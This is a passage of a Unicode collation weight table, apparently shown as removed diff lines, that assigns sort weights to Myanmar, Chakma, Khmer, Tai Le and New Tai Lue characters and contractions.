-1014  ; [.2F1F.0020.0002] # MYANMAR LETTER NA
-107C  ; [.2F20.0020.0002] # MYANMAR LETTER SHAN NA
-AA6B  ; [.2F21.0020.0002] # MYANMAR LETTER KHAMTI NA
-105E  ; [.2F22.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL NA
-1015  ; [.2F23.0020.0002] # MYANMAR LETTER PA
-1016  ; [.2F24.0020.0002] # MYANMAR LETTER PHA
-107D  ; [.2F25.0020.0002] # MYANMAR LETTER SHAN PHA
-107E  ; [.2F26.0020.0002] # MYANMAR LETTER SHAN FA
-AA6F  ; [.2F27.0020.0002] # MYANMAR LETTER KHAMTI FA
-108E  ; [.2F28.0020.0002] # MYANMAR LETTER RUMAI PALAUNG FA
-A9E8  ; [.2F29.0020.0002] # MYANMAR LETTER TAI LAING FA
-1017  ; [.2F2A.0020.0002] # MYANMAR LETTER BA
-107F  ; [.2F2B.0020.0002] # MYANMAR LETTER SHAN BA
-A9FD  ; [.2F2C.0020.0002] # MYANMAR LETTER TAI LAING BA
-1018  ; [.2F2D.0020.0002] # MYANMAR LETTER BHA
-A9E4  ; [.2F2E.0020.0002] # MYANMAR LETTER SHAN BHA
-A9FE  ; [.2F2F.0020.0002] # MYANMAR LETTER TAI LAING BHA
-1019  ; [.2F30.0020.0002] # MYANMAR LETTER MA
-105F  ; [.2F31.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL MA
-101A  ; [.2F32.0020.0002] # MYANMAR LETTER YA
-103B  ; [.2F33.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL YA
-101B  ; [.2F34.0020.0002] # MYANMAR LETTER RA
-AA73  ; [.2F35.0020.0002] # MYANMAR LETTER KHAMTI RA
-AA7A  ; [.2F36.0020.0002] # MYANMAR LETTER AITON RA
-103C  ; [.2F37.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL RA
-101C  ; [.2F38.0020.0002] # MYANMAR LETTER LA
-1060  ; [.2F39.0020.0002] # MYANMAR CONSONANT SIGN MON MEDIAL LA
-101D  ; [.2F3A.0020.0002] # MYANMAR LETTER WA
-103D  ; [.2F3B.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL WA
-1082  ; [.2F3C.0020.0002] # MYANMAR CONSONANT SIGN SHAN MEDIAL WA
-1080  ; [.2F3D.0020.0002] # MYANMAR LETTER SHAN THA
-1050  ; [.2F3E.0020.0002] # MYANMAR LETTER SHA
-1051  ; [.2F3F.0020.0002] # MYANMAR LETTER SSA
-1065  ; [.2F40.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN THA
-101E  ; [.2F41.0020.0002] # MYANMAR LETTER SA
-103F  ; [.2F41.0020.0004][.2F7A.0020.0004][.2F41.0020.0004] # MYANMAR LETTER GREAT SA
-AA6C  ; [.2F42.0020.0002] # MYANMAR LETTER KHAMTI SA
-101F  ; [.2F43.0020.0002] # MYANMAR LETTER HA
-1081  ; [.2F44.0020.0002] # MYANMAR LETTER SHAN HA
-AA6D  ; [.2F45.0020.0002] # MYANMAR LETTER KHAMTI HA
-103E  ; [.2F46.0020.0002] # MYANMAR CONSONANT SIGN MEDIAL HA
-AA6E  ; [.2F47.0020.0002] # MYANMAR LETTER KHAMTI HHA
-AA71  ; [.2F48.0020.0002] # MYANMAR LETTER KHAMTI XA
-1020  ; [.2F49.0020.0002] # MYANMAR LETTER LLA
-A9FA  ; [.2F4A.0020.0002] # MYANMAR LETTER TAI LAING LLA
-105C  ; [.2F4B.0020.0002] # MYANMAR LETTER MON BBA
-105D  ; [.2F4C.0020.0002] # MYANMAR LETTER MON BBE
-106F  ; [.2F4D.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN YWA
-1070  ; [.2F4E.0020.0002] # MYANMAR LETTER EASTERN PWO KAREN GHWA
-1066  ; [.2F4F.0020.0002] # MYANMAR LETTER WESTERN PWO KAREN PWA
-1021  ; [.2F50.0020.0002] # MYANMAR LETTER A
-1022  ; [.2F51.0020.0002] # MYANMAR LETTER SHAN A
-1023  ; [.2F52.0020.0002] # MYANMAR LETTER I
-1024  ; [.2F53.0020.0002] # MYANMAR LETTER II
-1025  ; [.2F54.0020.0002] # MYANMAR LETTER U
-1026  ; [.2F55.0020.0002] # MYANMAR LETTER UU
-1025 102E ; [.2F55.0020.0002] # MYANMAR LETTER UU
-1052  ; [.2F56.0020.0002] # MYANMAR LETTER VOCALIC R
-1053  ; [.2F57.0020.0002] # MYANMAR LETTER VOCALIC RR
-1054  ; [.2F58.0020.0002] # MYANMAR LETTER VOCALIC L
-1055  ; [.2F59.0020.0002] # MYANMAR LETTER VOCALIC LL
-1027  ; [.2F5A.0020.0002] # MYANMAR LETTER E
-1028  ; [.2F5B.0020.0002] # MYANMAR LETTER MON E
-1029  ; [.2F5C.0020.0002] # MYANMAR LETTER O
-102A  ; [.2F5D.0020.0002] # MYANMAR LETTER AU
-102C  ; [.2F5E.0020.0002] # MYANMAR VOWEL SIGN AA
-102B  ; [.2F5E.0020.0004] # MYANMAR VOWEL SIGN TALL AA
-1083  ; [.2F5F.0020.0002] # MYANMAR VOWEL SIGN SHAN AA
-1072  ; [.2F60.0020.0002] # MYANMAR VOWEL SIGN KAYAH OE
-109C  ; [.2F61.0020.0002] # MYANMAR VOWEL SIGN AITON A
-102D  ; [.2F62.0020.0002] # MYANMAR VOWEL SIGN I
-1071  ; [.2F63.0020.0002] # MYANMAR VOWEL SIGN GEBA KAREN I
-102E  ; [.2F64.0020.0002] # MYANMAR VOWEL SIGN II
-1033  ; [.2F65.0020.0002] # MYANMAR VOWEL SIGN MON II
-102F  ; [.2F66.0020.0002] # MYANMAR VOWEL SIGN U
-1073  ; [.2F67.0020.0002] # MYANMAR VOWEL SIGN KAYAH U
-1074  ; [.2F68.0020.0002] # MYANMAR VOWEL SIGN KAYAH EE
-1030  ; [.2F69.0020.0002] # MYANMAR VOWEL SIGN UU
-1056  ; [.2F6A.0020.0002] # MYANMAR VOWEL SIGN VOCALIC R
-1057  ; [.2F6B.0020.0002] # MYANMAR VOWEL SIGN VOCALIC RR
-1058  ; [.2F6C.0020.0002] # MYANMAR VOWEL SIGN VOCALIC L
-1059  ; [.2F6D.0020.0002] # MYANMAR VOWEL SIGN VOCALIC LL
-1031  ; [.2F6E.0020.0002] # MYANMAR VOWEL SIGN E
-1084  ; [.2F6F.0020.0002] # MYANMAR VOWEL SIGN SHAN E
-1035  ; [.2F70.0020.0002] # MYANMAR VOWEL SIGN E ABOVE
-1085  ; [.2F71.0020.0002] # MYANMAR VOWEL SIGN SHAN E ABOVE
-1032  ; [.2F72.0020.0002] # MYANMAR VOWEL SIGN AI
-109D  ; [.2F73.0020.0002] # MYANMAR VOWEL SIGN AITON AI
-1034  ; [.2F74.0020.0002] # MYANMAR VOWEL SIGN MON O
-1062  ; [.2F75.0020.0002] # MYANMAR VOWEL SIGN SGAW KAREN EU
-1067  ; [.2F76.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN EU
-1068  ; [.2F77.0020.0002] # MYANMAR VOWEL SIGN WESTERN PWO KAREN UE
-A9E5  ; [.2F78.0020.0002] # MYANMAR SIGN SHAN SAW
-1086  ; [.2F79.0020.0002] # MYANMAR VOWEL SIGN SHAN FINAL Y
-1039  ; [.2F7A.0020.0002] # MYANMAR SIGN VIRAMA
-103A  ; [.2F7B.0020.0002] # MYANMAR SIGN ASAT
-1063  ; [.2F7C.0020.0002] # MYANMAR TONE MARK SGAW KAREN HATHI
-1064  ; [.2F7D.0020.0002] # MYANMAR TONE MARK SGAW KAREN KE PHO
-1069  ; [.2F7E.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-1
-106A  ; [.2F7F.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-2
-106B  ; [.2F80.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-3
-106C  ; [.2F81.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-4
-106D  ; [.2F82.0020.0002] # MYANMAR SIGN WESTERN PWO KAREN TONE-5
-1087  ; [.2F83.0020.0002] # MYANMAR SIGN SHAN TONE-2
-108B  ; [.2F84.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-2
-1088  ; [.2F85.0020.0002] # MYANMAR SIGN SHAN TONE-3
-108C  ; [.2F86.0020.0002] # MYANMAR SIGN SHAN COUNCIL TONE-3
-108D  ; [.2F87.0020.0002] # MYANMAR SIGN SHAN COUNCIL EMPHATIC TONE
-1089  ; [.2F88.0020.0002] # MYANMAR SIGN SHAN TONE-5
-108A  ; [.2F89.0020.0002] # MYANMAR SIGN SHAN TONE-6
-108F  ; [.2F8A.0020.0002] # MYANMAR SIGN RUMAI PALAUNG TONE-5
-109A  ; [.2F8B.0020.0002] # MYANMAR SIGN KHAMTI TONE-1
-109B  ; [.2F8C.0020.0002] # MYANMAR SIGN KHAMTI TONE-3
-AA7B  ; [.2F8D.0020.0002] # MYANMAR SIGN PAO KAREN TONE
-AA7C  ; [.2F8E.0020.0002] # MYANMAR SIGN TAI LAING TONE-2
-AA7D  ; [.2F8F.0020.0002] # MYANMAR SIGN TAI LAING TONE-5
-AA74  ; [.2F90.0020.0002] # MYANMAR LOGOGRAM KHAMTI OAY
-AA75  ; [.2F91.0020.0002] # MYANMAR LOGOGRAM KHAMTI QN
-AA76  ; [.2F92.0020.0002] # MYANMAR LOGOGRAM KHAMTI HM
-11103 ; [.2F93.0020.0002] # CHAKMA LETTER AA
-11104 ; [.2F94.0020.0002] # CHAKMA LETTER I
-11105 ; [.2F95.0020.0002] # CHAKMA LETTER U
-11106 ; [.2F96.0020.0002] # CHAKMA LETTER E
-11107 ; [.2F97.0020.0002] # CHAKMA LETTER KAA
-11108 ; [.2F98.0020.0002] # CHAKMA LETTER KHAA
-11109 ; [.2F99.0020.0002] # CHAKMA LETTER GAA
-1110A ; [.2F9A.0020.0002] # CHAKMA LETTER GHAA
-1110B ; [.2F9B.0020.0002] # CHAKMA LETTER NGAA
-1110C ; [.2F9C.0020.0002] # CHAKMA LETTER CAA
-1110D ; [.2F9D.0020.0002] # CHAKMA LETTER CHAA
-1110E ; [.2F9E.0020.0002] # CHAKMA LETTER JAA
-1110F ; [.2F9F.0020.0002] # CHAKMA LETTER JHAA
-11110 ; [.2FA0.0020.0002] # CHAKMA LETTER NYAA
-11111 ; [.2FA1.0020.0002] # CHAKMA LETTER TTAA
-11112 ; [.2FA2.0020.0002] # CHAKMA LETTER TTHAA
-11113 ; [.2FA3.0020.0002] # CHAKMA LETTER DDAA
-11114 ; [.2FA4.0020.0002] # CHAKMA LETTER DDHAA
-11115 ; [.2FA5.0020.0002] # CHAKMA LETTER NNAA
-11116 ; [.2FA6.0020.0002] # CHAKMA LETTER TAA
-11117 ; [.2FA7.0020.0002] # CHAKMA LETTER THAA
-11118 ; [.2FA8.0020.0002] # CHAKMA LETTER DAA
-11119 ; [.2FA9.0020.0002] # CHAKMA LETTER DHAA
-1111A ; [.2FAA.0020.0002] # CHAKMA LETTER NAA
-1111B ; [.2FAB.0020.0002] # CHAKMA LETTER PAA
-1111C ; [.2FAC.0020.0002] # CHAKMA LETTER PHAA
-1111D ; [.2FAD.0020.0002] # CHAKMA LETTER BAA
-1111E ; [.2FAE.0020.0002] # CHAKMA LETTER BHAA
-1111F ; [.2FAF.0020.0002] # CHAKMA LETTER MAA
-11120 ; [.2FB0.0020.0002] # CHAKMA LETTER YYAA
-11121 ; [.2FB1.0020.0002] # CHAKMA LETTER YAA
-11122 ; [.2FB2.0020.0002] # CHAKMA LETTER RAA
-11123 ; [.2FB3.0020.0002] # CHAKMA LETTER LAA
-11124 ; [.2FB4.0020.0002] # CHAKMA LETTER WAA
-11125 ; [.2FB5.0020.0002] # CHAKMA LETTER SAA
-11126 ; [.2FB6.0020.0002] # CHAKMA LETTER HAA
-11127 ; [.2FB7.0020.0002] # CHAKMA VOWEL SIGN A
-11128 ; [.2FB8.0020.0002] # CHAKMA VOWEL SIGN I
-11129 ; [.2FB9.0020.0002] # CHAKMA VOWEL SIGN II
-1112A ; [.2FBA.0020.0002] # CHAKMA VOWEL SIGN U
-1112B ; [.2FBB.0020.0002] # CHAKMA VOWEL SIGN UU
-1112C ; [.2FBC.0020.0002] # CHAKMA VOWEL SIGN E
-1112D ; [.2FBD.0020.0002] # CHAKMA VOWEL SIGN AI
-1112E ; [.2FBE.0020.0002] # CHAKMA VOWEL SIGN O
-11131 11127 ; [.2FBE.0020.0002] # CHAKMA VOWEL SIGN O
-1112F ; [.2FBF.0020.0002] # CHAKMA VOWEL SIGN AU
-11132 11127 ; [.2FBF.0020.0002] # CHAKMA VOWEL SIGN AU
-11130 ; [.2FC0.0020.0002] # CHAKMA VOWEL SIGN OI
-11131 ; [.2FC1.0020.0002] # CHAKMA O MARK
-11132 ; [.2FC2.0020.0002] # CHAKMA AU MARK
-11133 ; [.2FC3.0020.0002] # CHAKMA VIRAMA
-11134 ; [.2FC4.0020.0002] # CHAKMA MAAYYAA
-1780  ; [.2FC5.0020.0002] # KHMER LETTER KA
-1781  ; [.2FC6.0020.0002] # KHMER LETTER KHA
-1782  ; [.2FC7.0020.0002] # KHMER LETTER KO
-1783  ; [.2FC8.0020.0002] # KHMER LETTER KHO
-1784  ; [.2FC9.0020.0002] # KHMER LETTER NGO
-1785  ; [.2FCA.0020.0002] # KHMER LETTER CA
-1786  ; [.2FCB.0020.0002] # KHMER LETTER CHA
-1787  ; [.2FCC.0020.0002] # KHMER LETTER CO
-1788  ; [.2FCD.0020.0002] # KHMER LETTER CHO
-1789  ; [.2FCE.0020.0002] # KHMER LETTER NYO
-178A  ; [.2FCF.0020.0002] # KHMER LETTER DA
-178B  ; [.2FD0.0020.0002] # KHMER LETTER TTHA
-178C  ; [.2FD1.0020.0002] # KHMER LETTER DO
-178D  ; [.2FD2.0020.0002] # KHMER LETTER TTHO
-178E  ; [.2FD3.0020.0002] # KHMER LETTER NNO
-178F  ; [.2FD4.0020.0002] # KHMER LETTER TA
-1790  ; [.2FD5.0020.0002] # KHMER LETTER THA
-1791  ; [.2FD6.0020.0002] # KHMER LETTER TO
-1792  ; [.2FD7.0020.0002] # KHMER LETTER THO
-1793  ; [.2FD8.0020.0002] # KHMER LETTER NO
-1794  ; [.2FD9.0020.0002] # KHMER LETTER BA
-1795  ; [.2FDA.0020.0002] # KHMER LETTER PHA
-1796  ; [.2FDB.0020.0002] # KHMER LETTER PO
-1797  ; [.2FDC.0020.0002] # KHMER LETTER PHO
-1798  ; [.2FDD.0020.0002] # KHMER LETTER MO
-1799  ; [.2FDE.0020.0002] # KHMER LETTER YO
-179A  ; [.2FDF.0020.0002] # KHMER LETTER RO
-179B  ; [.2FE0.0020.0002] # KHMER LETTER LO
-179C  ; [.2FE1.0020.0002] # KHMER LETTER VO
-179D  ; [.2FE2.0020.0002] # KHMER LETTER SHA
-179E  ; [.2FE3.0020.0002] # KHMER LETTER SSO
-179F  ; [.2FE4.0020.0002] # KHMER LETTER SA
-17A0  ; [.2FE5.0020.0002] # KHMER LETTER HA
-17A1  ; [.2FE6.0020.0002] # KHMER LETTER LA
-17A2  ; [.2FE7.0020.0002] # KHMER LETTER QA
-17DC  ; [.2FE8.0020.0002] # KHMER SIGN AVAKRAHASANYA
-17A3  ; [.2FE9.0020.0002] # KHMER INDEPENDENT VOWEL QAQ
-17A4  ; [.2FEA.0020.0002] # KHMER INDEPENDENT VOWEL QAA
-17A5  ; [.2FEB.0020.0002] # KHMER INDEPENDENT VOWEL QI
-17A6  ; [.2FEC.0020.0002] # KHMER INDEPENDENT VOWEL QII
-17A7  ; [.2FED.0020.0002] # KHMER INDEPENDENT VOWEL QU
-17A8  ; [.2FEE.0020.0002] # KHMER INDEPENDENT VOWEL QUK
-17A9  ; [.2FEF.0020.0002] # KHMER INDEPENDENT VOWEL QUU
-17AA  ; [.2FF0.0020.0002] # KHMER INDEPENDENT VOWEL QUUV
-17AB  ; [.2FF1.0020.0002] # KHMER INDEPENDENT VOWEL RY
-17AC  ; [.2FF2.0020.0002] # KHMER INDEPENDENT VOWEL RYY
-17AD  ; [.2FF3.0020.0002] # KHMER INDEPENDENT VOWEL LY
-17AE  ; [.2FF4.0020.0002] # KHMER INDEPENDENT VOWEL LYY
-17AF  ; [.2FF5.0020.0002] # KHMER INDEPENDENT VOWEL QE
-17B0  ; [.2FF6.0020.0002] # KHMER INDEPENDENT VOWEL QAI
-17B1  ; [.2FF7.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE ONE
-17B2  ; [.2FF8.0020.0002] # KHMER INDEPENDENT VOWEL QOO TYPE TWO
-17B3  ; [.2FF9.0020.0002] # KHMER INDEPENDENT VOWEL QAU
-17B6  ; [.2FFA.0020.0002] # KHMER VOWEL SIGN AA
-17B7  ; [.2FFB.0020.0002] # KHMER VOWEL SIGN I
-17B8  ; [.2FFC.0020.0002] # KHMER VOWEL SIGN II
-17B9  ; [.2FFD.0020.0002] # KHMER VOWEL SIGN Y
-17BA  ; [.2FFE.0020.0002] # KHMER VOWEL SIGN YY
-17BB  ; [.2FFF.0020.0002] # KHMER VOWEL SIGN U
-17BC  ; [.3000.0020.0002] # KHMER VOWEL SIGN UU
-17BD  ; [.3001.0020.0002] # KHMER VOWEL SIGN UA
-17BE  ; [.3002.0020.0002] # KHMER VOWEL SIGN OE
-17BF  ; [.3003.0020.0002] # KHMER VOWEL SIGN YA
-17C0  ; [.3004.0020.0002] # KHMER VOWEL SIGN IE
-17C1  ; [.3005.0020.0002] # KHMER VOWEL SIGN E
-17C2  ; [.3006.0020.0002] # KHMER VOWEL SIGN AE
-17C3  ; [.3007.0020.0002] # KHMER VOWEL SIGN AI
-17C4  ; [.3008.0020.0002] # KHMER VOWEL SIGN OO
-17C5  ; [.3009.0020.0002] # KHMER VOWEL SIGN AU
-17D2  ; [.300A.0020.0002] # KHMER SIGN COENG
-1950  ; [.300B.0020.0002] # TAI LE LETTER KA
-1951  ; [.300C.0020.0002] # TAI LE LETTER XA
-1952  ; [.300D.0020.0002] # TAI LE LETTER NGA
-1953  ; [.300E.0020.0002] # TAI LE LETTER TSA
-1954  ; [.300F.0020.0002] # TAI LE LETTER SA
-1955  ; [.3010.0020.0002] # TAI LE LETTER YA
-1956  ; [.3011.0020.0002] # TAI LE LETTER TA
-1957  ; [.3012.0020.0002] # TAI LE LETTER THA
-1958  ; [.3013.0020.0002] # TAI LE LETTER LA
-1959  ; [.3014.0020.0002] # TAI LE LETTER PA
-195A  ; [.3015.0020.0002] # TAI LE LETTER PHA
-195B  ; [.3016.0020.0002] # TAI LE LETTER MA
-195C  ; [.3017.0020.0002] # TAI LE LETTER FA
-195D  ; [.3018.0020.0002] # TAI LE LETTER VA
-195E  ; [.3019.0020.0002] # TAI LE LETTER HA
-195F  ; [.301A.0020.0002] # TAI LE LETTER QA
-1960  ; [.301B.0020.0002] # TAI LE LETTER KHA
-1961  ; [.301C.0020.0002] # TAI LE LETTER TSHA
-1962  ; [.301D.0020.0002] # TAI LE LETTER NA
-1963  ; [.301E.0020.0002] # TAI LE LETTER A
-1964  ; [.301F.0020.0002] # TAI LE LETTER I
-1965  ; [.3020.0020.0002] # TAI LE LETTER EE
-1966  ; [.3021.0020.0002] # TAI LE LETTER EH
-1967  ; [.3022.0020.0002] # TAI LE LETTER U
-1968  ; [.3023.0020.0002] # TAI LE LETTER OO
-1969  ; [.3024.0020.0002] # TAI LE LETTER O
-196A  ; [.3025.0020.0002] # TAI LE LETTER UE
-196B  ; [.3026.0020.0002] # TAI LE LETTER E
-196C  ; [.3027.0020.0002] # TAI LE LETTER AUE
-196D  ; [.3028.0020.0002] # TAI LE LETTER AI
-1970  ; [.3029.0020.0002] # TAI LE LETTER TONE-2
-1971  ; [.302A.0020.0002] # TAI LE LETTER TONE-3
-1972  ; [.302B.0020.0002] # TAI LE LETTER TONE-4
-1973  ; [.302C.0020.0002] # TAI LE LETTER TONE-5
-1974  ; [.302D.0020.0002] # TAI LE LETTER TONE-6
-1980  ; [.302E.0020.0002] # NEW TAI LUE LETTER HIGH QA
-19B5 1980 ; [.302E.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH QA>
-19B6 1980 ; [.302E.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH QA>
-19B7 1980 ; [.302E.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH QA>
-19BA 1980 ; [.302E.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH QA>
-1981  ; [.302F.0020.0002] # NEW TAI LUE LETTER LOW QA
-19B5 1981 ; [.302F.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW QA>
-19B6 1981 ; [.302F.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW QA>
-19B7 1981 ; [.302F.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW QA>
-19BA 1981 ; [.302F.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW QA>
-1982  ; [.3030.0020.0002] # NEW TAI LUE LETTER HIGH KA
-19B5 1982 ; [.3030.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH KA>
-19B6 1982 ; [.3030.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH KA>
-19B7 1982 ; [.3030.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH KA>
-19BA 1982 ; [.3030.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH KA>
-1983  ; [.3031.0020.0002] # NEW TAI LUE LETTER HIGH XA
-19B5 1983 ; [.3031.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH XA>
-19B6 1983 ; [.3031.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH XA>
-19B7 1983 ; [.3031.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH XA>
-19BA 1983 ; [.3031.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH XA>
-1984  ; [.3032.0020.0002] # NEW TAI LUE LETTER HIGH NGA
-19B5 1984 ; [.3032.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH NGA>
-19B6 1984 ; [.3032.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH NGA>
-19B7 1984 ; [.3032.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH NGA>
-19BA 1984 ; [.3032.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH NGA>
-1985  ; [.3033.0020.0002] # NEW TAI LUE LETTER LOW KA
-19B5 1985 ; [.3033.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW KA>
-19B6 1985 ; [.3033.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW KA>
-19B7 1985 ; [.3033.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW KA>
-19BA 1985 ; [.3033.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW KA>
-1986  ; [.3034.0020.0002] # NEW TAI LUE LETTER LOW XA
-19B5 1986 ; [.3034.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW XA>
-19B6 1986 ; [.3034.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW XA>
-19B7 1986 ; [.3034.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW XA>
-19BA 1986 ; [.3034.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW XA>
-1987  ; [.3035.0020.0002] # NEW TAI LUE LETTER LOW NGA
-19B5 1987 ; [.3035.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW NGA>
-19B6 1987 ; [.3035.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW NGA>
-19B7 1987 ; [.3035.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW NGA>
-19BA 1987 ; [.3035.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW NGA>
-1988  ; [.3036.0020.0002] # NEW TAI LUE LETTER HIGH TSA
-19B5 1988 ; [.3036.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH TSA>
-19B6 1988 ; [.3036.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH TSA>
-19B7 1988 ; [.3036.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH TSA>
-19BA 1988 ; [.3036.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH TSA>
-1989  ; [.3037.0020.0002] # NEW TAI LUE LETTER HIGH SA
-19B5 1989 ; [.3037.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH SA>
-19B6 1989 ; [.3037.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH SA>
-19B7 1989 ; [.3037.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH SA>
-19BA 1989 ; [.3037.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH SA>
-198A  ; [.3038.0020.0002] # NEW TAI LUE LETTER HIGH YA
-19B5 198A ; [.3038.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH YA>
-19B6 198A ; [.3038.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH YA>
-19B7 198A ; [.3038.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER HIGH YA>
-19BA 198A ; [.3038.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER HIGH YA>
-198B  ; [.3039.0020.0002] # NEW TAI LUE LETTER LOW TSA
-19B5 198B ; [.3039.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW TSA>
-19B6 198B ; [.3039.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW TSA>
-19B7 198B ; [.3039.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW TSA>
-19BA 198B ; [.3039.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW TSA>
-198C  ; [.303A.0020.0002] # NEW TAI LUE LETTER LOW SA
-19B5 198C ; [.303A.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW SA>
-19B6 198C ; [.303A.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW SA>
-19B7 198C ; [.303A.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW SA>
-19BA 198C ; [.303A.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW SA>
-198D  ; [.303B.0020.0002] # NEW TAI LUE LETTER LOW YA
-19B5 198D ; [.303B.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER LOW YA>
-19B6 198D ; [.303B.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER LOW YA>
-19B7 198D ; [.303B.0020.0002][.3061.0020.0002] # <NEW TAI LUE VOWEL SIGN O, NEW TAI LUE LETTER LOW YA>
-19BA 198D ; [.303B.0020.0002][.3064.0020.0002] # <NEW TAI LUE VOWEL SIGN AY, NEW TAI LUE LETTER LOW YA>
-198E  ; [.303C.0020.0002] # NEW TAI LUE LETTER HIGH TA
-19B5 198E ; [.303C.0020.0002][.305F.0020.0002] # <NEW TAI LUE VOWEL SIGN E, NEW TAI LUE LETTER HIGH TA>
-19B6 198E ; [.303C.0020.0002][.3060.0020.0002] # <NEW TAI LUE VOWEL SIGN AE, NEW TAI LUE LETTER HIGH TA>
